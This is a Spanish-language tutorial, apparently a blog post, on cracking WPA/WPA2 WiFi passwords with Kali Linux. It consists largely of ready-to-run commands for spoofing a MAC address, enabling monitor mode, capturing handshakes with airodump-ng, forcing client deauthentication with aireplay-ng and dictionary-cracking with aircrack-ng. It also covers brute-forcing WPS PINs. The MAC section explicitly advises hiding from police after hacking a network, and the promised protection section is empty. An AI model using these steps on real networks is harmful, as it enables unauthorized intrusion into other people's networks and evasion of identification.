Para realizar pruebas de penetracion WiFi necesitas un sistema operativo especializado como Kali Linux, disenado especificamente para hacking y pentesting con herramientas preinstaladas. Lo instalaremos de forma virtual con VirtualBox, sin tocar tu sistema operativo principal.
• VirtualBox (gratuito, codigo abierto) — virtualbox.org/wiki/Downloads
• VirtualBox Extension Pack — permite USB, adaptadores inalambricos y dispositivos portatiles
• Imagen virtual de Kali (.ova) — descargable directamente desde el sitio de Kali, ya preinstalada para VirtualBox
Pasos de configuracion
- Instalar VirtualBox y a continuacion el Extension Pack (doble clic sobre el archivo descargado).
- Descargar la imagen .ova de Kali para VirtualBox desde el sitio oficial. Esta imagen ya viene con Kali preinstalado — no hay que instalar el OS desde cero.
- Importar la imagen: doble clic sobre el archivo .ova y esperar a que finalice el proceso.
- En Configuracion → Sistema: asignar al menos
2 GB de RAMa la VM. - En Configuracion → Red: seleccionar "Adaptador puenteado" para que Kali use la tarjeta de red real del equipo.
- Iniciar la VM y acceder con las credenciales por defecto.
Primeros pasos en Kali
Credenciales por defecto: usuario root, contrasena toor. Abre la terminal (icono izquierdo) para ejecutar comandos. El prompt rojo root@kali# indica acceso root (maximo nivel de privilegios).
root@kali# apt-get update # Actualizar el sistema y repositorios de Kali
root@kali# passwd # Cambiar la contrasena por defecto (obligatorio por seguridad) # Introducir: toor (contrasena actual) # Introducir nueva contrasena y confirmar
En hacking, ocultar tu identidad es tan importante como la tecnica en si. La direccion MAC (Media Access Control) es un identificador unico grabado en cada tarjeta de red. Cuando te conectas a una red WiFi, tu MAC queda registrada en el router — y puede ser usada para rastrearte.
Que es la direccion MAC
Cada dispositivo tiene una MAC diferente, asignada de fabrica. Se usa para que el router sepa a que dispositivo enviar cada paquete de datos. Si hackeas una red sin cambiar tu MAC, la policia puede analizar el router y encontrar la informacion de tu equipo.
Cambiar la MAC con macchanger
root@kali# ifconfig wlan0 down # Detener la tarjeta inalambrica antes de modificarla
root@kali# macchanger --help # Ver todas las opciones disponibles de macchanger
root@kali# macchanger --random wlan0 # Asignar una direccion MAC aleatoria a wlan0
La salida muestra la MAC permanente (la del hardware, con corporacion identificada entre parentesis) y la nueva MAC aleatoria (sin corporacion asociada). Ahora eres anonimo en la red.
root@kali# ifconfig wlan0 up # Reactivar la tarjeta inalambrica con la nueva MAC
Por defecto, tu tarjeta WiFi funciona en modo administrado: solo recibe los paquetes dirigidos a su propia MAC. Para auditar redes necesitas el modo monitor, que captura todos los paquetes que circulan en el rango WiFi, sin importar a quien vayan dirigidos.
Activar el modo monitor
root@kali# ifconfig wlan0 down root@kali# macchanger --random wlan0 root@kali# ifconfig wlan0 up root@kali# airmon-ng start wlan0 # Verificar que wlan0 esta ahora en modo monitor iwconfig wlan0
wlan0mon. Usa ese nombre en los comandos siguientes.El handshake WPA/WPA2 se envia cada vez que un cliente se asocia con un punto de acceso (AP). Usando airodump-ng capturamos todos los paquetes del aire y con aireplay-ng podemos forzar la reconexion de un cliente para provocar el handshake.
Paso 1 — Escanear y enfocar el AP objetivo
root@kali# airodump-ng --channel [canal] --bssid [bssid] --write [nombre-archivo] [interfaz] # Ejemplo real: root@kali# airodump-ng --channel 6 --bssid 11:22:33:44:55:66 --write captura wlan0mon
Parametros clave:
--channel— canal WiFi del AP objetivo (1-13)--bssid— MAC del router/AP objetivo--write— nombre del archivo donde guardar la captura (.cap)[interfaz]— tu interfaz en modo monitor (wlan0mon)
Paso 2 — Forzar la desautenticacion de un cliente
Si no hay un cliente conectandose en ese momento, puedes desautenticar uno ya conectado. Su sistema se reconectara automaticamente, generando el handshake.
root@kali# aireplay-ng --deauth [num-paquetes] -a [MAC-AP] -c [MAC-cliente] [interfaz] # Ejemplo real: root@kali# aireplay-ng --deauth 1000 -a 11:22:33:44:55:66 -c 00:AA:11:22:33:44 wlan0mon
WPA handshake: XX:XX:XX:XX:XX:XX. En ese momento puedes detener la captura.Con el archivo de captura (.cap) que contiene el handshake, usamos aircrack-ng para comparar cada contrasena de una wordlist contra el handshake. El algoritmo calcula la PMK (Pairwise Master Key) usando el ESSID + cada contrasena candidata y la compara con el handshake.
• CrackStation Wordlist — una de las mas grandes disponibles
•
rockyou.txt — incluida en Kali Linux en /usr/share/wordlists/root@kali# aircrack-ng [archivo-handshake] -w [wordlist] [interfaz] # Ejemplo real: root@kali# aircrack-ng captura-01.cap -w /usr/share/wordlists/rockyou.txt wlan0mon
Tipos de cifrado WiFi
Debilidades de WPS
WPS (Wi-Fi Protected Setup) permite conectar dispositivos sin introducir la contrasena, usando un PIN de 8 digitos. Los atacantes pueden hacer fuerza bruta sobre este PIN en un promedio de 10 horas con herramientas como Reaver. Una vez obtenido el PIN, se puede hacer ingenieria inversa para obtener la clave WPA2 completa — aunque sea muy compleja.
Conclusion — Como proteger tu red
Resumen de Comandos
# ============ ANONIMATO ============ root@kali# ifconfig wlan0 down root@kali# macchanger --random wlan0 root@kali# ifconfig wlan0 up # ============ MODO MONITOR ============ root@kali# airmon-ng start wlan0 # o manualmente: iwconfig wlan0 mode monitor # ============ ESCANEAR REDES ============ root@kali# airodump-ng wlan0mon # ============ CAPTURAR HANDSHAKE ============ root@kali# airodump-ng --channel 6 --bssid AA:BB:CC:DD:EE:FF --write captura wlan0mon # ============ DESAUTENTICAR CLIENTE ============ root@kali# aireplay-ng --deauth 1000 -a AA:BB:CC:DD:EE:FF -c 00:11:22:33:44:55 wlan0mon # ============ CRACKEAR CONTRASENA ============ root@kali# aircrack-ng captura-01.cap -w /usr/share/wordlists/rockyou.txt # ============ VOLVER A MODO NORMAL ============ root@kali# airmon-ng stop wlan0mon root@kali# ifconfig wlan0 up